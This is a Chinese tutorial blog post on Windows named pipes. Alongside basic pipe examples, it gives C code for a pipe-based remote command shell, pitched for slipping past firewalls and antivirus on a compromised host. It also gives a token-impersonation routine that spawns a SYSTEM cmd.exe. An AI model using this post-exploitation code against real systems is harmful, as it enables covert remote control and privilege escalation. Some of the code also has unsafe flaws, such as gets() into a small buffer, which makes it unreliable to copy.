命名管道的实现和应用以及权限模拟的实现
前言:命名管道的实现和应用以及权限模拟的实现
参考文章:https://lengjibo.github.io/czxt2/
参考文章:https://rcoil.me/2019/11/【知识回顾】命名管道/
参考文章:https://segmentfault.com/a/1190000003116875
参考文章:https://payloads.online/archivers/2019-11-10/5
参考文章:https://www.anquanke.com/post/id/190207#h2-0
参考文章:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea
参考文章:https://paper.seebug.org/2090/
参考文章:https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
命名管道介绍
命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信
命名管道是一个具有名称,可以单向或双面在一个服务器和一个或多个客户端之间进行通讯的管道。
命名管道的所有实例拥有相同的名称,但是每个实例都有其自己的缓冲区和句柄,用来为不同客户端通许提供独立的管道。
使用实例可使多个管道客户端同时使用相同的命名管道
查看已经的命名管道
这边可以通过浏览器输入file://.//pipe//
来进行访问,如下图所示
命名管道的特点
命名管道的名称在本系统中是唯一的。
命名管道可以被任意符合权限要求的进程访问。
命名管道只能在本地创建。
命名管道的客户端可以是本地进程(本地访问:.\pipe\PipeName)或者是远程进程(访问远程:\ServerName\pipe\PipeName)。
命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯
命名管道的创建和连接
参考文章:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea
命名管道的创建和连接有如下函数进行使用
- CreateNamedPipe
- ConnectNamedPipe
- WaitNamedPipe
- CreateFile
- ReadFile
一些需要注意的事项:
-
首先对于创建管道的名字规范为
\\.\pipe\管道名称
,那么在代码中就需要进行转义,\\\\.\\pipe\\管道名称
-
创建管道的时候对管道访问的属性有三种,服务端与客户端之间的关系 双向 单向(这里分为c->s s->c)
-
当创建管道的属性为PIPE_ACCESS_INBOUND的时候,该管道中的数据流则是仅从客户端流向服务端的时候,此模式服务端具有对管道的GENERIC_READ访问权限,并且客户端在连接到管道CreateFile时必须指定GENERIC_WRITE访问属性
再创建完管道之后,连接服务端的管道有几个方法,比如ConnectNamedPipe或CreateFile或CallNamedPipe都可以进行连接
服务端的实现
#include<Windows.h> #include<stdio.h> int main(int argc, char* argv[]){ HANDLE serverPipe; wchar_t recv_buf[1024]; DWORD rel_buf; serverPipe = CreateNamedPipe(L"\\\\.\\pipe\\myServerPipe", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (serverPipe == INVALID_HANDLE_VALUE){ printf("CreatePipe Failed"); CloseHandle(serverPipe); } //服务端在这里会进行堵塞,等待客户端进行连接 if (ConnectNamedPipe(serverPipe, NULL)) { printf("ConnectNamedPipe success"); memset(recv_buf, 0, 1024); if (ReadFile(serverPipe, recv_buf, 1024, &rel_buf, NULL)) { printf("ReadFile Success"); }else{ printf("ReadFile Failed, Error is %s", GetLastError()); CloseHandle(serverPipe); system("pause"); return 1; } } CloseHandle(serverPipe); return 0; }
客户端的实现
#include<Windows.h> int main(int argc,char* argv[]){ HANDLE serverPipe; DWORD num_rcv; wchar_t buf_msg[] = L"Test for named pipe..."; // 等待进行尝试多次进行连接 if(WaitNamedPipe(L"\\\\.\\pipe\\myServerPipe",NMPWAIT_WAIT_FOREVER)){ //打开指定命名管道 serverPipe = CreateFile(L"\\\\.\\pipe\\myServerPipe", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);// GENERIC_WRITE //判断是否成功打开管道 if (serverPipe == INVALID_HANDLE_VALUE){ printf("CreateFile Failed\n"); CloseHandle(serverPipe); return -1; }else{ if (WriteFile(serverPipe, buf_msg, 1024, &num_rcv, NULL)){ printf("Message sent success\n"); }else{ printf("WriteFile Failed\n"); CloseHandle(serverPipe); return -1; } } CloseHandle(serverPipe); }else{ printf("WaitNamedPipe Failed"); } system("pause"); return 0; }
如何实现简单的C/S通信长连接传输
利用场景:在Windows环境中,无管理员权限的情况下对已获取权限的机器上使用nc反弹一个shell,但是遭到防火墙或反病毒程序的阻拦。
命名管道提供了两种基本的通信模式:字节模式和消息模式,可在CreateNamePipe()创建命名管道时分别用PIPE_TYPE_BYTE和PIPE_TYPE_MESSAGE标志进行设定
对于字节模式PIPE_TYPE_BYTE,一方在向管道写入某个数量的字节后并不能保证管道的另一方能读出等量的字节。
对于消息模式PIPE_TYPE_MESSAGE,客户机和服务器则是通过一系列不连续的数据包进行数据的收发。从管道发出的每一条消息都必须作为一条完整的消息读入。
所以在此建议使用消息模式。
客户端实现
#define _CRT_SECURE_NO_WARNINGS #include<Windows.h> #include<stdio.h> int main(int argc,char* argv[]){ HANDLE serverPipe; char cmd_buf[64]; char write_buf[1024 * 4]; DWORD dwRead; DWORD dwWrite; wchar_t buf_msg[] = L"Test for named pipe..."; // 等待进行尝试多次进行连接 if(WaitNamedPipe(L"\\\\.\\pipe\\myServerPipe",NMPWAIT_WAIT_FOREVER)){ //打开指定命名管道 serverPipe = CreateFile(L"\\\\.\\pipe\\myServerPipe", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);// GENERIC_WRITE //判断是否成功打开管道 if (serverPipe == INVALID_HANDLE_VALUE){ printf("CreateFile Failed\n"); CloseHandle(serverPipe); return -1; }else{ while (true){ printf("PipeExec > "); //写入要执行的命令 gets(cmd_buf); cmd_buf[strlen(cmd_buf) + 1] = '\0'; WriteFile(serverPipe, cmd_buf, strlen(cmd_buf), &dwWrite, 0); printf("Send Command : %s\n", cmd_buf); memset(cmd_buf, 0, sizeof(cmd_buf)); //读取执行命令返回的结果 ReadFile(serverPipe, write_buf, sizeof(write_buf), &dwRead, 0); printf("Command Data : %s\n", write_buf); memset(write_buf, 0, sizeof(write_buf)); } } CloseHandle(serverPipe); }else{ printf("WaitNamedPipe Failed\n"); } system("pause"); return 0; }
服务端实现
#define _CRT_SECURE_NO_WARNINGS #include<Windows.h> #include<stdio.h> int main(int argc, char* argv[]){ HANDLE serverPipe; char write_buf[1024*4]; DWORD dwRead; DWORD dwWrite; serverPipe = CreateNamedPipe(L"\\\\.\\pipe\\myServerPipe", PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT | PIPE_ACCEPT_REMOTE_CLIENTS, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (serverPipe == INVALID_HANDLE_VALUE){ printf("CreatePipe Failed"); CloseHandle(serverPipe); } printf("CreateNaemedPipe success\n"); //服务端在这里会进行堵塞,等待客户端进行连接 if (ConnectNamedPipe(serverPipe, NULL)) { printf("ConnectNamedPipe success\n"); memset(write_buf, 0, 1024); while (true){ //读取客户端在管道中写入的数据,并且进行执行相对应的命令 char cmd_buf[64]; memset(cmd_buf, 0, 64); if (!ReadFile(serverPipe, cmd_buf, sizeof(cmd_buf), &dwRead, 0)){ printf("ReadFile Success\n"); printf("read data is empty,so we should exit!"); break; } printf("receive command : %s\n", cmd_buf); char buffer[128]; //定义缓冲区 FILE* pipe = _popen(cmd_buf, "r"); //打开管道,并执行命令 if (!pipe){ printf("_popen Failed\n"); _pclose(pipe); } //将管道中的数据合并到write_buf中 while (!feof(pipe)) { if (fgets(buffer, 128, pipe)){ strcat(write_buf, buffer); } } _pclose(pipe); //把执行后命令返回的数据写入到管道中 提供给客户端进行读取 if (!WriteFile(serverPipe, write_buf, strlen(write_buf), &dwWrite, NULL)){ printf("WriteFile Failed\n"); break; } //执行命令之后,对缓冲区进行清空数据 memset(write_buf, 0, sizeof(write_buf)); memset(buffer, 0, sizeof(buffer)); //FlushFileBuffers(serverPipe); //刷新缓冲区 } } DisconnectNamedPipe(serverPipe); CloseHandle(serverPipe); return 0; }
演示两个不同主机在局域网内通信,如下图所示
管道实现的分离免杀
这里直接跟倾旋的文章:https://payloads.online/archivers/2019-11-10/5
设置服务端模拟客户端
服务端实现模拟客户端编程需要用到的几个函数,如下所示
- GetCurrentProcess(),返回值是当前进程的伪句柄。
- OpenProcessToken(),打开与进程关联的访问令牌(Access Token),返回访问令牌的句柄的指针
- DuplicateToken() or DuplicateTokenEx(),创建一个新的访问令牌,该令牌复制已存在的访问令牌
- CreateProcessWithTokenW(),创建新进程及其主线程。新进程在指定令牌的安全上下文中运行。
- ImpersonateNamedPipeClient()
ImpersonateNamedPipeClient
这边最关键就是ImpersonateNamedPipeClient函数,这个函数的说明如下图所示
- 如果作为客户端调用的进程作为特权账号运行,当对管道发起请求的时候,如果调用进程作为特权帐户运行,它可以执行不允许客户端执行的操作。
如果满足以下条件之一,则所有模拟函数(包括 ImpersonateNamedPipeClient)都允许模拟请求过来的权限:
-
请求的令牌模拟级别低于SecurityImpersonation,例如SecurityIdentification或SecurityAnonymous。
-
模拟函数的调用者具有SeImpersonatePrivilege权限
在PC端的话一般都是管理员权限才拥有SeImpersonatePrivilege权限,正常的普通用户是没有SeImpersonatePrivilege权限的,如下图所示
但是在服务器中的时候,运维会设置一些特权账号,比如iis service以及pool这些应用池的账号,这些账号是具有SeImpersonatePrivilege模拟权限,从而可以进行模拟令牌操作。
但是如果从高权权限提权到system特权权限的话,那么也是可以通过这种方法来进行实现,这种方式在MSF中getsystem
有应用到。
-
进程(或调用者登录会话中的另一个进程)通过LogonUser或LsaLogonUser函数使用显式凭据创建令牌。
-
经过验证的身份与呼叫者的身份相同。
服务端实现
#include<stdio.h> #include<windows.h> int main(int argc, char* argv[]) { HANDLE hPipe = NULL; HANDLE tokenHandle = NULL; HANDLE newtokenHandle = NULL; STARTUPINFO startupInfo; startupInfo.cb = sizeof(STARTUPINFO); PROCESS_INFORMATION processInformation; wchar_t recv_buf[1024] = { 0 }; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); hPipe = CreateNamedPipe(L"\\\\.\\pipe\\myServerPipe", PIPE_ACCESS_DUPLEX, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf("CreatePipe Failed"); CloseHandle(hPipe); } printf("[+] CreateNamedPipe Successfully\n"); //服务端在这里会进行堵塞,等待客户端进行连接 if (ConnectNamedPipe(hPipe, NULL)) { printf("[+] ConnectNamedPipe Successfully\n"); if (ImpersonateNamedPipeClient(hPipe) == 0) { printf("[!] Error impersonating client %d\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] ImpersonateNamedPipeClient Successfully\n"); if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) { printf("[!] Error opening thread token %d\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] OpenThreadToken Successfully\n"); if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) { printf("[!] Error duplicating thread token %d\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] DuplicateTokenEx Successfully\n"); if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) { printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] CreateProcessWithTokenW Successfully\n"); CloseHandle(hPipe); } return 0; }
-
创建一个管理员权限的创建CreateNamedPipe来监听客户端的请求
-
用system权限的客户端进行
echo 123 >> \\localhost\pipe\myServerPipe
-
触发ImpersonateNamedPipeClient执行创建system权限cmd的窗口,如下图所示
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通